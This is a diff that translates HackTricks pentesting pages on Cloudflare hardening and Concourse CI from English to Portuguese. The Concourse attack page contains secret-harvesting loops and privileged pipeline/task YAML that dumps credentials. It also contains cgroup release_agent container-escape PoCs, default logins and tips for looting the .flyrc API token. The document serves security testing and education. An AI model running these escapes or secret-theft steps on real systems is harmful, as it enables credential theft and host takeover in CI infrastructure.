could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Super Bots**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front-end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso. +- Em **WAF**: Você pode criar **limites de taxa por caminho de URL** ou para **bots verificados** (regras de limitação de taxa), ou para **bloquear acesso** com base em IP, Cookie, referenciador...). Assim, você poderia bloquear solicitações que não vêm de uma página da web ou não têm um cookie. +- Se o ataque for de um **bot verificado**, pelo menos **adicione um limite de taxa** para bots. +- Se o ataque for para um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho. +- Você também pode **colocar na lista branca** endereços IP, faixas de IP, países ou ASNs nas **Ferramentas** no WAF. +- Verifique se as **Regras Gerenciadas** também podem ajudar a prevenir explorações de vulnerabilidades. +- Na seção **Ferramentas**, você pode **bloquear ou desafiar IPs específicos** e **agentes de usuário.** +- Em DDoS, você pode **substituir algumas regras para torná-las mais restritivas**. +- **Configurações**: Defina o **Nível de Segurança** como **Alto** e para **Sob Ataque** se você estiver Sob Ataque e que a **Verificação de Integridade do Navegador está ativada**. +- Em Cloudflare Domains -> Analytics -> Security -> Verifique se a **limitação de taxa** está ativada +- Em Cloudflare Domains -> Security -> Events -> Verifique se há **Eventos maliciosos detectados** -### Access +### Acesso {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### Velocidade -_I couldn't find any option related to security_ +_Não consegui encontrar nenhuma opção relacionada à segurança_ -### Caching +### Cache -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] Na seção **`Configuração`**, considere ativar a **Ferramenta de Escaneamento CSAM** -### **Workers Routes** +### **Rotas de Workers** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Você já deve ter verificado_ [_cloudflare workers_](./#workers) -### Rules +### Regras TODO -### Network +### Rede -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Se **`HTTP/2`** estiver **ativado**, **`HTTP/2 para Origem`** deve estar **ativado** +- [ ] **`HTTP/3 (com QUIC)`** deve estar **ativado** +- [ ] Se a **privacidade** dos seus **usuários** é importante, certifique-se de que **`Onion Routing`** está **ativado** -### **Traffic** +### **Tráfego** TODO -### Custom Pages +### Páginas Personalizadas -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] É opcional configurar páginas personalizadas quando um erro relacionado à segurança é acionado (como um bloqueio, limitação de taxa ou estou no modo sob ataque) ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] Verifique se a **Obfuscação de Endereço de Email** está **ativada** +- [ ] Verifique se os **Excluídos do Lado do Servidor** estão **ativados** ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..74853f97e 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Útil para **conhecer o ambiente** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] Em **`Policies`** é possível gerar políticas para **restringir** por **DNS**, **rede** ou **HTTP** quem pode acessar aplicações. +- Se utilizado, **políticas** podem ser criadas para **restringir** o acesso a sites maliciosos. +- Isso é **somente relevante se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas. ### Access #### Applications -On each application: +Em cada aplicação: -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Verifique **quem** pode acessar a aplicação em **Policies** e verifique se **apenas** os **usuários** que **precisam de acesso** à aplicação podem acessar. +- Para permitir o acesso, **`Access Groups`** serão utilizados (e **regras adicionais** também podem ser definidas) +- [ ] Verifique os **provedores de identidade disponíveis** e certifique-se de que **não estão muito abertos** +- [ ] Em **`Settings`**: +- [ ] Verifique se **CORS não está habilitado** (se estiver habilitado, verifique se é **seguro** e não está permitindo tudo) +- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e **binding cookie** deve estar **habilitado** se a aplicação for HTTP. +- [ ] Considere habilitar também **Browser rendering** para melhor **proteção. Mais informações sobre** [**isolamento de navegador remoto aqui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] Verifique se os grupos de acesso gerados estão **corretamente restritos** aos usuários que devem permitir. +- [ ] É especialmente importante verificar se o **grupo de acesso padrão não está muito aberto** (não está **permitindo muitas pessoas**) pois por **padrão** qualquer um nesse **grupo** poderá **acessar aplicações**. +- Note que é possível dar **acesso** a **TODOS** e outras **políticas muito abertas** que não são recomendadas, a menos que 100% necessário. #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] Verifique se todos os tokens de serviço **expiram em 1 ano ou menos** #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] Você pode procurar por **ações inesperadas** de usuários ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] Verifique o **tipo de plano** +- [ ] É possível ver o **nome do proprietário do cartão de crédito**, **últimos 4 dígitos**, **data de expiração** e **endereço** +- [ ] É recomendado **adicionar uma Expiração de Assento de Usuário** para remover usuários que realmente não utilizam este serviço {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..ffd9c8ace 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,36 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e construir imagens sempre que precisar (baseado em tempo, quando algo acontece...) -## Concourse Architecture +## Arquitetura do Concourse -Learn how the concourse environment is structured in: +Saiba como o ambiente do concourse é estruturado em: {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Laboratório do Concourse -Learn how you can run a concourse environment locally to do your own tests in: +Saiba como você pode executar um ambiente concourse localmente para fazer seus próprios testes em: {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Enumerar & Atacar o Concourse -Learn how you can enumerate the concourse environment and abuse it in: +Saiba como você pode enumerar o ambiente do concourse e abusar dele em: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..7a81486e6 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,42 +1,38 @@ -# Concourse Architecture +# Arquitetura do Concourse -## Concourse Architecture +## Arquitetura do Concourse {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Dados relevantes da documentação do Concourse:**](https://concourse-ci.org/internals.html) -### Architecture +### Arquitetura ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: interface web e agendador de builds -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +O ATC é o coração do Concourse. Ele executa a **interface web e API** e é responsável por todo o **agendamento** de pipelines. Ele **se conecta ao PostgreSQL**, que usa para armazenar dados de pipeline (incluindo logs de build). -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +A responsabilidade do [checker](https://concourse-ci.org/checker.html) é verificar continuamente novas versões de recursos. O [scheduler](https://concourse-ci.org/scheduler.html) é responsável por agendar builds para um trabalho e o [build tracker](https://concourse-ci.org/build-tracker.html) é responsável por executar quaisquer builds agendados. O [garbage collector](https://concourse-ci.org/garbage-collector.html) é o mecanismo de limpeza para remover quaisquer objetos não utilizados ou desatualizados, como contêineres e volumes. -#### TSA: worker registration & forwarding +#### TSA: registro de workers e encaminhamento -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +A TSA é um **servidor SSH personalizado** que é usado exclusivamente para **registrar** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) com o [ATC](https://concourse-ci.org/internals.html#component-atc). -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +A TSA por **padrão escuta na porta `2222`**, e geralmente está colocada junto com o [ATC](https://concourse-ci.org/internals.html#component-atc) e atrás de um balanceador de carga. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +A **TSA implementa CLI sobre a conexão SSH,** suportando [**estes comandos**](https://concourse-ci.org/internals.html#component-tsa). #### Workers -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Para executar tarefas, o Concourse deve ter alguns workers. Esses workers **se registram** via o [TSA](https://concourse-ci.org/internals.html#component-tsa) e executam os serviços [**Garden**](https://github.com/cloudfoundry-incubator/garden) e [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: Esta é a **API de Gerenciamento de Contêineres**, geralmente executada na **porta 7777** via **HTTP**. +- **Baggageclaim**: Esta é a **API de Gerenciamento de Volumes**, geralmente executada na **porta 7788** via **HTTP**. -## References +## Referências - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..5ca3479f5 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,119 +6,115 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse vem com cinco papéis: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Este papel é concedido apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões deste papel não podem ser afetadas pelo RBAC. +- **owner**: Os proprietários da equipe podem **modificar tudo dentro da equipe**. +- **member**: Os membros da equipe podem **ler e escrever** dentro dos **ativos da equipe**, mas não podem modificar as configurações da equipe. +- **pipeline-operator**: Os operadores de pipeline podem realizar **operações de pipeline** como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline. +- **viewer**: Os visualizadores da equipe têm acesso **"somente leitura" a uma equipe** e seus pipelines. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Além disso, as **permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Note que o Concourse **agrupa pipelines dentro de Equipes**. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e **várias Equipes** podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +Nos arquivos de configuração YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\ +[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em todo o cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\ +O **\_secret-field opcional** especifica um campo no segredo recuperado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial recuperada, se o campo existir.\ +Além disso, o _**secret-path**_ e _**secret-field**_ podem ser cercados por aspas duplas `"..."` se contiverem **caracteres especiais** como `.` e `:`. Por exemplo, `((source:"my.secret"."field:1"))` definirá o _secret-path_ como `my.secret` e o _secret-field_ como `field:1`. #### Static Vars -Static vars can be specified in **tasks steps**: - +Variáveis estáticas podem ser especificadas em **etapas de tarefas**: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` +Or usando os seguintes `fly` **argumentos**: -Or using the following `fly` **arguments**: +- `-v` ou `--var` `NAME=VALUE` define a string `VALUE` como o valor para a var `NAME`. +- `-y` ou `--yaml-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var `NAME`. +- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Agrupando Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância. +- `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo mapeamento de nomes de vars para valores, e define todos eles. -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +#### Gerenciamento de Credenciais -#### Credential Management +Existem diferentes maneiras de um **Gerenciador de Credenciais ser especificado** em um pipeline, leia como em [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Além disso, o Concourse suporta diferentes gerenciadores de credenciais: -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: - -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) +- [O gerenciador de credenciais Vault](https://concourse-ci.org/vault-credential-manager.html) +- [O gerenciador de credenciais CredHub](https://concourse-ci.org/credhub-credential-manager.html) +- [O gerenciador de credenciais AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [O gerenciador de credenciais AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Gerenciador de Credenciais Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) +- [O gerenciador de credenciais Conjur](https://concourse-ci.org/conjur-credential-manager.html) +- [Cache de credenciais](https://concourse-ci.org/creds-caching.html) +- [Redação de credenciais](https://concourse-ci.org/creds-redacting.html) +- [Tentativas de busca falhadas](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Note que se você tiver algum tipo de **acesso de escrita ao Concourse** você pode criar jobs para **exfiltrar esses segredos** já que o Concourse precisa ser capaz de acessá-los. -### Concourse Enumeration +### Enumeração do Concourse -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenciais válidas** ou encontrar um **token autenticado** provavelmente em um arquivo de configuração `.flyrc`. -#### Login and Current User enum +#### Login e enumeração do Usuário Atual -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Para fazer login, você precisa saber o **endpoint**, o **nome da equipe** (o padrão é `main`) e uma **equipe à qual o usuário pertence**: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Obter **alvos** configurados: +- `fly targets` +- Verificar se a **conexão do alvo configurado** ainda é **válida**: +- `fly -t status` +- Obter **papel** do usuário em relação ao alvo indicado: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, ao invadir uma máquina você pode encontrar lá as credenciais. -#### Teams & Users +#### Equipes & Usuários -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Obter uma lista das Equipes +- `fly -t teams` +- Obter papéis dentro da equipe +- `fly -t get-team -n ` +- Obter uma lista de usuários +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **Listar** pipelines: +- `fly -t pipelines -a` +- **Obter** yaml do pipeline (**informações sensíveis** podem ser encontradas na definição): +- `fly -t get-pipeline -p ` +- Obter todas as **vars declaradas na configuração do pipeline** +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, você poderá exfiltrá-los): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` - #### Containers & Workers -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +- Listar **workers**: +- `fly -t workers` +- Listar **containers**: +- `fly -t containers` +- Listar **builds** (para ver o que está rodando): +- `fly -t builds` ### Concourse Attacks @@ -127,92 +123,85 @@ rm /tmp/secrets.txt - admin:admin - test:test -#### Secrets and params enumeration +#### Enumeração de segredos e parâmetros -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +Na seção anterior, vimos como você pode **obter todos os nomes e variáveis dos segredos** usados pelo pipeline. As **variáveis podem conter informações sensíveis** e o nome dos **segredos será útil mais tarde para tentar roubá-los**. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Sessão dentro de um container em execução ou recentemente executado +Se você tiver privilégios suficientes (**papel de membro ou mais**) você poderá **listar pipelines e papéis** e apenas obter uma **sessão dentro** do **container** `/` usando: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +Com essas permissões, você pode ser capaz de: -With these permissions you might be able to: +- **Roubar os segredos** dentro do **container** +- Tentar **escapar** para o nó +- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó, se possível) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Criação/Modificação de Pipeline +Se você tiver privilégios suficientes (**papel de membro ou mais**), você poderá **criar/modificar novos pipelines.** Confira este exemplo: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +Com a **modificação/criação** de um novo pipeline, você poderá: -With the **modification/creation** of a new pipeline you will be able to: +- **Roubar** os **segredos** (via ecoando-os ou entrando no contêiner e executando `env`) +- **Escapar** para o **nó** (dando a você privilégios suficientes - `privileged: true`) +- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó) +- **Deletar** o pipeline criado -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Executar Tarefa Personalizada +Isso é semelhante ao método anterior, mas em vez de modificar/criar um novo pipeline inteiro, você pode **apenas executar uma tarefa personalizada** (que provavelmente será muito mais **furtiva**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Escapando para o nó a partir de uma tarefa privilegiada -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +Nas seções anteriores, vimos como **executar uma tarefa privilegiada com concourse**. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo do sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa". +Na seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Como você pode ter notado, isso é apenas uma [**escapada regular do release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) apenas modificando o caminho do cmd no nó -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Escapando para o nó a partir de um contêiner Worker +Uma escapada regular do release_agent com uma modificação menor é suficiente para isso: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Escapando para o nó a partir do contêiner Web -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Mesmo que o contêiner web tenha algumas defesas desativadas, **não está rodando como um contêiner privilegiado comum** (por exemplo, você **não pode** **montar** e as **capacidades** são muito **limitadas**, então todas as maneiras fáceis de escapar do contêiner são inúteis). +No entanto, ele armazena **credenciais locais em texto claro**: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Você pode usar essas credenciais para **fazer login no servidor web** e **criar um contêiner privilegiado e escapar para o nó**. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +No ambiente, você também pode encontrar informações para **acessar a instância do postgresql** que o concourse usa (endereço, **nome de usuário**, **senha** e banco de dados, entre outras informações): ```bash env | grep -i postg 